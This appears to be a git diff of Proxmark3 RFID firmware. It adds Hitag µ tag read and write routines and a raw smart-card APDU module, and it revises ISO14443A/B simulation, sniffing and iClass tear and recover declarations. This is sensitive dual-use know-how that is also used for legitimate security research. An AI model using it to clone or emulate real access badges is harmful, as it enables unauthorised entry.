* Reads the UID of a Hitag µ tag using the INVENTORY command
*/
int htu_read_uid(uint64_t *uid, bool ledcontrol, bool send_answer) {
// Initialize response
uint8_t rx[HITAG_FRAME_LEN] = {0x00};
uint8_t tx[HITAG_FRAME_LEN] = {0x00};
int status = PM3_SUCCESS;
// Use htu_select_tag to select the card and retrieve UID
int reason = htu_select_tag(NULL, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol);
if (reason != 0) {
DBG DbpString("Error: htu_read_uid Failed to select tag");
status = PM3_ERFTRANS;
goto exit;
}
DBG Dbprintf("HitagU UID: %02X%02X%02X%02X%02X%02X", tag.uid[0], tag.uid[1], tag.uid[2], tag.uid[3], tag.uid[4], tag.uid[5]);
if (uid) {
*uid = MemBeToUint6byte(tag.uid);
}
exit:
hitag_cleanup(ledcontrol);
if (send_answer) {
// Send UID
reply_reason(CMD_LF_HITAGU_UID, status, reason, tag.uid, sizeof(tag.uid));
}
// Reset authentication state
RESET_AUTHENTICATION();
return status;
}
/*
* Reads a Hitag µ tag
*/
void htu_read(const lf_hitag_data_t *payload, bool ledcontrol) {
size_t rxlen = 0;
uint8_t rx[HITAG_FRAME_LEN] = {0x00};
size_t txlen = 0;
uint8_t tx[HITAG_FRAME_LEN] = {0x00};
int status = PM3_SUCCESS;
// DBG {
// DbpString("htu_read");
// Dbprintf("payload->page: %d", payload->page);
// Dbprintf("payload->page_count: %d", payload->page_count);
// Dbprintf("payload->cmd: %d", payload->cmd);
// Dbprintf("payload->uid: %02X%02X%02X%02X%02X%02X", payload->uid[0], payload->uid[1], payload->uid[2],
// payload->uid[3], payload->uid[4], payload->uid[5]);
// Dbprintf("payload->key: %02X%02X%02X%02X%02X%02X", payload->key[0], payload->key[1], payload->key[2],
// payload->key[3], payload->key[4], payload->key[5]);
// Dbprintf("payload->pwd: %02X%02X%02X%02X", payload->pwd[0], payload->pwd[1], payload->pwd[2], payload->pwd[3]);
// }
// Use htu_select_tag to select the card and retrieve UID
int reason = htu_select_tag(payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol);
if (reason != 0) {
DbpString("Error: htu_read Failed to select tag");
status = PM3_ERFTRANS;
goto exit;
}
lf_htu_read_response_t card = {
.icr = tag.icr,
};
memcpy(card.uid, tag.uid, HITAGU_UID_SIZE);
memcpy(card.config_page.asBytes, tag.config.asBytes, HITAGU_BLOCK_SIZE);
uint8_t page_count_index = payload->page_count - 1;
if (payload->page_count == 0) {
page_count_index = tag.max_page - payload->page - 1;
}
// Step 2: Process the actual command
// Add flags (5 bits)
uint8_t flags = HITAGU_FLAG_CRCT;
txlen = concatbits(tx, txlen, &flags, 0, 5, true);
// Read command format: <flags> <command> [UID] <block address> <number of blocks> [CRC-16]
// Add command (6 bits)
uint8_t command = HITAGU_CMD_READ_MULTIPLE_BLOCK;
txlen = concatbits(tx, txlen, &command, 0, 6, true);
// The 8265 chip has known issues when reading multiple blocks:
// - page_count = 1: Works correctly
// - page_count >= 2: Data field is left shifted by 1 bit
// - page_count = 2 or page+page_count exceeds valid page: Data field has an extra '1' bit
// - page_count = 3,4: Data field last bit is always '1'
// - page_count = 5: CRC is not appended
// - page_count >= 6: May cause next command to have no response
// Workaround: Read one block at a time
if (payload->mode == 0 /**for debug */
&& (payload->cmd == HTUF_82xx || tag.icr == HITAGU_ICR_8265 || !memcmp(tag.uid, "\x00\x00\x00\x00\x00\x00", 6))) {
uint8_t page_addr;
for (int i = 0; i <= page_count_index; i++) {
page_addr = payload->page + i;
txlen = 5 + 6; // restore txlen for the new command
txlen = concatbits(tx, txlen, &page_addr, 0, 8, true);
// Add number of blocks, 0 means 1 block
txlen = concatbits(tx, txlen, (uint8_t *)&"\x00", 0, 8, true);
// Append CRC-16 (16 bits)
uint16_t crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true);
txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true);
// Send read command and receive response
htu_reader_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS);
if (flags & HITAGU_FLAG_CRCT && Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) {
DBG Dbprintf("Error: response CRC invalid");
card.pages_reason[i] = -6;
continue;
}
// Check response
if (rxlen < 1 + HITAGU_BLOCK_SIZE * 8 + (flags & HITAGU_FLAG_CRCT ? 16 : 0)) {
DbpString("Error: invalid response received after read command");
card.pages_reason[i] = -7;
} else {
DBG Dbprintf("Read successful, response: %d bits", rxlen);
// todo: For certain pages, update our cached data
card.pages_reason[i] = 1;
concatbits(card.pages[i], 0, rx, 1, HITAGU_BLOCK_SIZE * 8, false);
}
}
} else {
txlen = concatbits(tx, txlen, &payload->page, 0, 8, true);
// Add number of blocks, 0 means 1 block
txlen = concatbits(tx, txlen, &page_count_index, 0, 8, true);
// Append CRC-16 (16 bits)
uint16_t crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true);
txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true);
// Send read command and receive response
htu_reader_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS);
if (flags & HITAGU_FLAG_CRCT && Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) {
DBG Dbprintf("Error: response CRC invalid");
status = PM3_ERFTRANS;
goto exit;
}
// Check response
if (rxlen < 1 + HITAGU_BLOCK_SIZE * 8 + (flags & HITAGU_FLAG_CRCT ? 16 : 0)) {
DbpString("Error: invalid response received after read command");
status = PM3_ERFTRANS;
} else {
DBG Dbprintf("Read successful, response: %d bits", rxlen);
// todo: For certain pages, update our cached data
concatbits((uint8_t *)card.pages, 0, rx, 1, rxlen - 1 - 16, false);
for (int i = 0; i < (rxlen - 1 - 16) / (HITAGU_BLOCK_SIZE * 8); i++) {
card.pages_reason[i] = 1;
}
}
}
exit:
hitag_cleanup(ledcontrol);
// Send status to client
reply_reason(CMD_LF_HITAGU_READ, status, reason, (uint8_t *)&card, sizeof(card));
}
/*
* Writes a page to a Hitag µ tag
*/
void htu_write_page(const lf_hitag_data_t *payload, bool ledcontrol) {
size_t rxlen = 0;
uint8_t rx[HITAG_FRAME_LEN] = {0x00};
size_t txlen = 0;
uint8_t tx[HITAG_FRAME_LEN] = {0x00};
int status = PM3_SUCCESS;
// DBG {
// DbpString("htu_write_page");
// Dbprintf("payload->page: %d", payload->page);
// Dbprintf("payload->data: %02X%02X%02X%02X", payload->data[0], payload->data[1], payload->data[2], payload->data[3]);
// Dbprintf("payload->cmd: %d", payload->cmd);
// Dbprintf("payload->uid: %02X%02X%02X%02X%02X%02X", payload->uid[0], payload->uid[1], payload->uid[2], payload->uid[3], payload->uid[4], payload->uid[5]);
// Dbprintf("payload->key: %02X%02X%02X%02X%02X%02X", payload->key[0], payload->key[1], payload->key[2], payload->key[3], payload->key[4], payload->key[5]);
// Dbprintf("payload->pwd: %02X%02X%02X%02X", payload->pwd[0], payload->pwd[1], payload->pwd[2], payload->pwd[3]);
// Dbprintf("payload->mode: %d", payload->mode);
// }
int reason = htu_select_tag(payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol);
if (reason != 0) {
status = PM3_ERFTRANS;
goto exit;
}
// Step 2: Send write command
uint8_t flags = HITAGU_FLAG_CRCT;
// Add flags (5 bits) for write operation
txlen = concatbits(tx, txlen, &flags, 0, 5, true);
// Add write command (6 bits)
uint8_t command = HITAGU_CMD_WRITE_SINGLE_BLOCK;
txlen = concatbits(tx, txlen, &command, 0, 6, true);
// Add page address (8 bits)
txlen = concatbits(tx, txlen, &payload->page, 0, 8, true);
// Add data to write (32 bits)
txlen = concatbits(tx, txlen, payload->data, 0, 32, false);
// Append CRC-16 (16 bits)
uint16_t crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true);
txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true);
DBG Dbprintf("Writing to page 0x%02X", payload->page);
// Send write command and receive response
htu_reader_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS);
// Check response
if (payload->cmd == HTUF_82xx && rxlen == 0) {
// 8265 bug? no response on successful write command
reason = 0;
status = PM3_ENODATA;
} else if (rxlen != 1 + 16) {
DbpString("Error: htu_write_page No valid response received after write command");
reason = -5;
status = PM3_ERFTRANS;
} else {
DBG Dbprintf("Write successful, response: %d bits", rxlen);
}
exit:
hitag_cleanup(ledcontrol);
reply_reason(CMD_LF_HITAGU_WRITE, status, reason, NULL, 0);
}

30
armsrc/hitagu.h Normal file
View file

@ -0,0 +1,30 @@
//-----------------------------------------------------------------------------
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// Hitag µ functions
//-----------------------------------------------------------------------------
#ifndef _HITAGU_H_
#define _HITAGU_H_
#include "common.h"
#include "hitag.h"
void htu_simulate(bool tag_mem_supplied, int8_t threshold, const uint8_t *data, bool ledcontrol);
void htu_read(const lf_hitag_data_t *payload, bool ledcontrol);
void htu_write_page(const lf_hitag_data_t *payload, bool ledcontrol);
int htu_read_uid(uint64_t *uid, bool ledcontrol, bool send_answer);
#endif

View file

@ -783,7 +783,6 @@ bool GetATR(smart_card_atr_t *card_ptr, bool verbose) {
return false;
}
card_ptr->atr_len = 0;
memset(card_ptr->atr, 0, sizeof(card_ptr->atr));
@ -858,7 +857,7 @@ void SmartCardRaw(const smart_card_raw_t *p) {
LED_D_ON();
uint16_t len = 0;
uint8_t *resp = BigBuf_malloc(ISO7816_MAX_FRAME);
uint8_t *resp = BigBuf_calloc(ISO7816_MAX_FRAME);
// check if alloacted...
smartcard_command_t flags = p->flags;
@ -938,7 +937,7 @@ void SmartCardUpgrade(uint64_t arg0) {
bool isOK = true;
uint16_t length = arg0, pos = 0;
const uint8_t *fwdata = BigBuf_get_addr();
uint8_t *verfiydata = BigBuf_malloc(I2C_BLOCK_SIZE);
uint8_t *verfiydata = BigBuf_calloc(I2C_BLOCK_SIZE);
while (length) {

View file

@ -36,7 +36,7 @@
// 8051 speaks with smart card.
// 1000*50*3.07 = 153.5ms
// 1 byte transfer == 1ms with max frame being 256 bytes
#define SIM_WAIT_DELAY 88000 // about 270ms delay // 109773 -- about 337.7ms delay
#define SIM_WAIT_DELAY 150000 // about 270ms delay // 109773 -- about 337.7ms delay
void I2C_recovery(void);

205
armsrc/i2c_direct.c Normal file
View file

@ -0,0 +1,205 @@
// //-----------------------------------------------------------------------------
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// The main i2c code, for communications with smart card module
//-----------------------------------------------------------------------------
#include <inttypes.h>
#include "BigBuf.h"
#include "iso14443a.h"
#include "BigBuf.h"
#include "string.h"
#include "mifareutil.h"
#include "fpgaloader.h"
#include "proxmark3_arm.h"
#include "cmd.h"
#include "protocols.h"
#include "appmain.h"
#include "util.h"
#include "commonutil.h"
#include "crc16.h"
#include "dbprint.h"
#include "ticks.h"
#include "i2c.h"
#include "i2c_direct.h"
static void SmartCardDirectSend(uint8_t prepend, const smart_card_raw_t *p, uint8_t *output, uint16_t *olen) {
LED_D_ON();
uint16_t len = 0;
uint8_t *resp = BigBuf_calloc(ISO7816_MAX_FRAME);
resp[0] = prepend;
// check if alloacted...
smartcard_command_t flags = p->flags;
if ((flags & SC_LOG) == SC_LOG)
set_tracing(true);
else
set_tracing(false);
if ((flags & SC_CONNECT) == SC_CONNECT) {
I2C_Reset_EnterMainProgram();
if ((flags & SC_SELECT) == SC_SELECT) {
smart_card_atr_t card;
bool gotATR = GetATR(&card, true);
if (gotATR == false) {
Dbprintf("No ATR received...\n");
goto OUT;
}
}
}
uint32_t wait = SIM_WAIT_DELAY;
if (((flags & SC_RAW) == SC_RAW) || ((flags & SC_RAW_T0) == SC_RAW_T0)) {
if ((flags & SC_WAIT) == SC_WAIT) {
wait = (uint32_t)((p->wait_delay * 1000) / 3.07);
}
LogTrace(p->data, p->len, 0, 0, NULL, true);
bool res = I2C_BufferWrite(
p->data,
p->len,
(((flags & SC_RAW_T0) == SC_RAW_T0) ? I2C_DEVICE_CMD_SEND_T0 : I2C_DEVICE_CMD_SEND),
I2C_DEVICE_ADDRESS_MAIN
);
if (res == false && g_dbglevel > 3) {
Dbprintf("SmartCardDirectSend: I2C_BufferWrite failed\n");
goto OUT;
}
// read bytes from module
len = ISO7816_MAX_FRAME;
res = sc_rx_bytes(&resp[1], &len, wait);
if (res) {
LogTrace(&resp[1], len, 0, 0, NULL, false);
} else {
len = 0;
}
}
if (len == 2 && resp[1] == 0x61) {
uint8_t cmd_getresp[] = {0x00, ISO7816_GET_RESPONSE, 0x00, 0x00, resp[2]};
smart_card_raw_t *payload = (smart_card_raw_t *)BigBuf_calloc(sizeof(smart_card_raw_t) + sizeof(cmd_getresp));
payload->flags = SC_RAW | SC_LOG;
payload->len = sizeof(cmd_getresp);
payload->wait_delay = 0;
memcpy(payload->data, cmd_getresp, sizeof(cmd_getresp));
SmartCardDirectSend(prepend, payload, output, olen);
} else if (len == 2) {
Dbprintf("***** BAD response from card (response unsupported)...");
Dbhexdump(3, &resp[0], false);
resp[0] = prepend;
resp[1] = 0x6a;
resp[2] = 0x82;
AddCrc14A(resp, 3);
memcpy(output, resp, 5);
*olen = 5;
}
if (resp[1] == 0x6a && resp[2] == 0x82) {
Dbprintf("***** bad response from card (file not found)...");
resp[0] = prepend;
resp[1] = 0x6a;
resp[2] = 0x82;
AddCrc14A(resp, 3);
memcpy(output, resp, 5);
*olen = 5;
FpgaDisableTracing();
}
if (len > 2) {
Dbprintf("***** sending it over the wire... len: %d =>\n", len);
resp[1] = prepend;
AddCrc14A(&resp[1], len);
Dbhexdump(len + 2, &resp[1], false);
BigBuf_free();
if (prepend == 0xff) {
Dbprintf("pdol request, we can ignore the response...");
return;
}
memcpy(output, &resp[1], len + 2);
*olen = len + 2;
BigBuf_free();
}
OUT:
LEDsoff();
}
int CmdSmartRaw(const uint8_t prepend, const uint8_t *data, int dlen, uint8_t *output, uint16_t *olen) {
Dbprintf("sending command to smart card... %02x %02x %02x... =>", prepend, data[0], data[1]);
Dbhexdump(dlen, data, false);
if (data[4] + 5 != dlen) {
Dbprintf("invalid length of data. Received: %d, command specifies %d", dlen, data[4] + 5);
dlen = data[4] + 5;
}
smart_card_raw_t *payload = (smart_card_raw_t *)BigBuf_calloc(sizeof(smart_card_raw_t) + dlen);
if (payload == NULL) {
Dbprintf("Failed to allocate memory");
return PM3_EMALLOC;
}
payload->len = dlen;
memcpy(payload->data, data, dlen);
payload->flags = SC_LOG;
bool active = true;
bool active_select = false;
int timeout = 600;
bool use_t0 = true;
if (active || active_select) {
payload->flags |= (SC_CONNECT | SC_CLEARLOG);
if (active_select)
payload->flags |= SC_SELECT;
}
payload->wait_delay = 0;
if (timeout > -1) {
payload->flags |= SC_WAIT;
payload->wait_delay = timeout;
}
if (dlen > 0) {
if (use_t0)
payload->flags |= SC_RAW_T0;
else
payload->flags |= SC_RAW;
}
SmartCardDirectSend(prepend, payload, output, olen);
return PM3_SUCCESS;
}

View file

@ -1,5 +1,4 @@
//-----------------------------------------------------------------------------
// Copyright (C) Stephen Shkardoon proxmark@ss23.geek.nz - ss23
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
@ -14,11 +13,10 @@
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
#ifndef __LF_HIDFCBRUTE_H
#define __LF_HIDFCBRUTE_H
#include <stdint.h>
#ifndef __I2C_DIRECT_H
#define __I2C_DIRECT_H
void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc);
int CmdSmartRaw(const uint8_t prepend, const uint8_t *data, int dlen, uint8_t *output, uint16_t *olen);
#endif /* __LF_HIDFCBRUTE_H */
#endif

File diff suppressed because it is too large Load diff

View file

@ -34,6 +34,7 @@
// times in samples @ 212kHz when acting as reader
#define ICLASS_READER_TIMEOUT_ACTALL 330 // 1558us, nominal 330us + 7slots*160us = 1450us
#define ICLASS_READER_TIMEOUT_UPDATE 3390 // 16000us, nominal 4-15ms
#define ICLASS_READER_TIMEOUT_UPDATE_FAST 1500 // A copy of ICLASS_READER_TIMEOUT_UPDATE with reduced timeout values
#define ICLASS_READER_TIMEOUT_OTHERS 80 // 380us, nominal 330us
// The length of a received command will in most cases be no more than 18 bytes.
@ -71,6 +72,6 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui
uint8_t get_pagemap(const picopass_hdr_t *hdr);
void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod);
void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock);
void iClass_Recover(iclass_recover_req_t *msg);
void iClass_TearBlock(iclass_tearblock_req_t *msg);
#endif

File diff suppressed because it is too large Load diff

View file

@ -55,7 +55,8 @@ typedef struct {
uint16_t shiftReg;
uint16_t samples;
uint16_t len;
uint32_t startTime, endTime;
uint32_t startTime;
uint32_t endTime;
uint16_t output_len;
uint8_t *output;
uint8_t *parity;
@ -88,7 +89,8 @@ typedef struct {
uint8_t parityBits;
uint8_t parityLen;
uint32_t fourBits;
uint32_t startTime, endTime;
uint32_t startTime;
uint32_t endTime;
uint16_t output_len;
uint8_t *output;
uint8_t *parity;
@ -103,7 +105,7 @@ typedef enum {
RESP_INDEX_SAKC1,
RESP_INDEX_SAKC2,
RESP_INDEX_SAKC3,
RESP_INDEX_RATS,
RESP_INDEX_ATS,
RESP_INDEX_VERSION,
RESP_INDEX_SIGNATURE,
RESP_INDEX_PPS,
@ -123,8 +125,8 @@ typedef enum {
#endif
void printHf14aConfig(void);
void setHf14aConfig(const hf14a_config *hc);
hf14a_config *getHf14aConfig(void);
void setHf14aConfig(const hf14a_config_t *hc);
hf14a_config_t *getHf14aConfig(void);
void iso14a_set_timeout(uint32_t timeout);
uint32_t iso14a_get_timeout(void);
@ -140,21 +142,35 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time);
RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time);
void RAMFUNC SniffIso14443a(uint8_t param);
void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t exitAfterNReads);
bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_response_info_t **responses, uint32_t *cuid, uint32_t counters[3], uint8_t tearings[3], uint8_t *pages);
void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *useruid, uint8_t exitAfterNReads,
uint8_t *ats, size_t ats_len, bool ulc_part1, bool ulc_part2);
void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *uid,
uint8_t *ats, size_t ats_len, uint8_t *aid, size_t aid_len,
uint8_t *selectaid_response, size_t selectaid_response_len,
uint8_t *getdata_response, size_t getdata_response_len);
bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data,
uint8_t *ats, size_t ats_len, tag_response_info_t **responses,
uint32_t *cuid, uint8_t *pages,
uint8_t *ulc_key);
bool GetIso14443aCommandFromReader(uint8_t *received, uint16_t received_maxlen, uint8_t *par, int *len);
void iso14443a_antifuzz(uint32_t flags);
void ReaderIso14443a(PacketCommandNG *c);
void ReaderTransmit(uint8_t *frame, uint16_t len, uint32_t *timing);
void ReaderTransmitBitsPar(uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing);
void ReaderTransmitPar(uint8_t *frame, uint16_t len, uint8_t *par, uint32_t *timing);
void ReaderTransmit(const uint8_t *frame, uint16_t len, uint32_t *timing);
void ReaderTransmitBitsPar(const uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing);
void ReaderTransmitPar(const uint8_t *frame, uint16_t len, uint8_t *par, uint32_t *timing);
uint16_t ReaderReceive(uint8_t *receivedAnswer, uint16_t answer_maxlen, uint8_t *par);
void iso14443a_setup(uint8_t fpga_minor_mode);
int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, bool send_chaining, void *data, uint16_t data_len, uint8_t *res);
int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats);
int iso14443a_select_cardEx(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats, iso14a_polling_parameters_t *polling_parameters);
int iso14443a_fast_select_card(uint8_t *uid_ptr, uint8_t num_cascades);
int iso14443a_select_cardEx(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr,
bool anticollision, uint8_t num_cascades, bool no_rats,
const iso14a_polling_parameters_t *polling_parameters, bool force_rats);
int iso14443a_select_card_for_magic(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades);
int iso14443a_fast_select_card(const uint8_t *uid_ptr, uint8_t num_cascades);
void iso14a_set_trigger(bool enable);
int EmSendCmd14443aRaw(const uint8_t *resp, uint16_t respLen);
@ -169,13 +185,14 @@ int EmSendPrecompiledCmd(tag_response_info_t *p_response);
bool prepare_allocated_tag_modulation(tag_response_info_t *response_info, uint8_t **buffer, size_t *max_buffer_size);
bool prepare_tag_modulation(tag_response_info_t *response_info, size_t max_buffer_size);
bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_StartTime, uint32_t reader_EndTime, uint8_t *reader_Parity,
uint8_t *tag_data, uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint8_t *tag_Parity);
bool EmLogTrace(const uint8_t *reader_data, uint16_t reader_len, uint32_t reader_StartTime,
uint32_t reader_EndTime, const uint8_t *reader_Parity, const uint8_t *tag_data,
uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, const uint8_t *tag_Parity);
void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype);
void DetectNACKbug(void);
bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t resp_len, uint8_t *received_len);
bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t rec_maxlen, uint8_t *received_len);
extern iso14a_polling_parameters_t WUPA_POLLING_PARAMETERS;
extern iso14a_polling_parameters_t REQA_POLLING_PARAMETERS;

View file

@ -786,14 +786,14 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
// prepare "ATQB" tag answer (encoded):
CodeIso14443bAsTag(respATQB, sizeof(respATQB));
uint8_t *encodedATQB = BigBuf_malloc(ts->max);
uint8_t *encodedATQB = BigBuf_calloc(ts->max);
uint16_t encodedATQBLen = ts->max;
memcpy(encodedATQB, ts->buf, ts->max);
// prepare "OK" tag answer (encoded):
CodeIso14443bAsTag(respOK, sizeof(respOK));
uint8_t *encodedOK = BigBuf_malloc(ts->max);
uint8_t *encodedOK = BigBuf_calloc(ts->max);
uint16_t encodedOKLen = ts->max;
memcpy(encodedOK, ts->buf, ts->max);
@ -980,7 +980,6 @@ void Simulate_iso14443b_srx_tag(uint8_t *uid) {
// allocate command receive buffer
BigBuf_free();
BigBuf_Clear_ext(false);
clear_trace();
set_tracing(true);
uint16_t len, cmdsReceived = 0;
@ -989,18 +988,18 @@ void Simulate_iso14443b_srx_tag(uint8_t *uid) {
tosend_t *ts = get_tosend();
uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE);
uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE);
// prepare "ATQB" tag answer (encoded):
CodeIso14443bAsTag(respATQB, sizeof(respATQB));
uint8_t *encodedATQB = BigBuf_malloc(ts->max);
uint8_t *encodedATQB = BigBuf_calloc(ts->max);
uint16_t encodedATQBLen = ts->max;
memcpy(encodedATQB, ts->buf, ts->max);
// prepare "OK" tag answer (encoded):
CodeIso14443bAsTag(respOK, sizeof(respOK));
uint8_t *encodedOK = BigBuf_malloc(ts->max);
uint8_t *encodedOK = BigBuf_calloc(ts->max);
uint16_t encodedOKLen = ts->max;
memcpy(encodedOK, ts->buf, ts->max);
@ -1337,6 +1336,7 @@ static int Get14443bAnswerFromTag(uint8_t *response, uint16_t max_len, uint32_t
// The DMA buffer, used to stream samples from the FPGA
dmabuf16_t *dma = get_dma16();
if (dma == NULL) {
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory");
return PM3_EMALLOC;
}
@ -1381,12 +1381,12 @@ static int Get14443bAnswerFromTag(uint8_t *response, uint16_t max_len, uint32_t
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX)) {
// primary buffer was stopped
if (AT91C_BASE_PDC_SSC->PDC_RCR == false) {
if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf;
AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
}
// secondary buffer sets as primary, secondary buffer was stopped
if (AT91C_BASE_PDC_SSC->PDC_RNCR == false) {
if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf;
AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
}
@ -1585,7 +1585,7 @@ static void CodeIso14443bAsReader(const uint8_t *cmd, int len, bool framing) {
/*
* Convenience function to encode, transmit and trace iso 14443b comms
*/
static void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing) {
void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing) {
const tosend_t *ts = get_tosend();
CodeIso14443bAsReader(cmd, len, framing);
TransmitFor14443b_AsReader(start_time);
@ -1800,7 +1800,7 @@ static int iso14443b_select_cts_card(iso14b_cts_card_select_t *card) {
/**
* SRx Initialise.
*/
static int iso14443b_select_srx_card(iso14b_card_select_t *card) {
int iso14443b_select_srx_card(iso14b_card_select_t *card) {
// INITIATE command: wake up the tag using the INITIATE
static const uint8_t init_srx[] = { ISO14443B_INITIATE, 0x00, 0x97, 0x5b };
uint8_t r_init[3] = { 0x00 };
@ -2135,6 +2135,9 @@ static int iso14443b_select_picopass_card(picopass_hdr_t *hdr) {
static uint8_t act_all[] = { ICLASS_CMD_ACTALL };
static uint8_t identify[] = { ICLASS_CMD_READ_OR_IDENTIFY };
static uint8_t read_conf[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x01, 0xfa, 0x22 };
// ICLASS_CMD_SELECT 0x81 tells ISO14443b/BPSK coding/106 kbits/s
// ICLASS_CMD_SELECT 0x41 tells ISO14443b/BPSK coding/423 kbits/s
uint8_t select[] = { 0x80 | ICLASS_CMD_SELECT, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t read_aia[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x05, 0xde, 0x64};
uint8_t read_check_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 };
@ -2307,7 +2310,7 @@ void iso14443b_setup(void) {
//
// I tried to be systematic and check every answer of the tag, every CRC, etc...
//-----------------------------------------------------------------------------
static int read_14b_srx_block(uint8_t blocknr, uint8_t *block) {
int read_14b_srx_block(uint8_t blocknr, uint8_t *block) {
uint8_t cmd[] = {ISO14443B_READ_BLK, blocknr, 0x00, 0x00};
AddCrc14B(cmd, 2);
@ -2402,8 +2405,8 @@ void SniffIso14443b(void) {
uint8_t ua_buf[MAX_FRAME_SIZE] = {0};
Uart14bInit(ua_buf);
//Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE), MAX_FRAME_SIZE);
//Uart14bInit(BigBuf_malloc(MAX_FRAME_SIZE));
//Demod14bInit(BigBuf_calloc(MAX_FRAME_SIZE));
//Uart14bInit(BigBuf_calloc(MAX_FRAME_SIZE));
// Set FPGA in the appropriate mode
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_SUBCARRIER_848_KHZ | FPGA_HF_READER_MODE_SNIFF_IQ);
@ -2463,12 +2466,12 @@ void SniffIso14443b(void) {
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX)) {
// primary buffer was stopped
if (AT91C_BASE_PDC_SSC->PDC_RCR == false) {
if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf;
AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
}
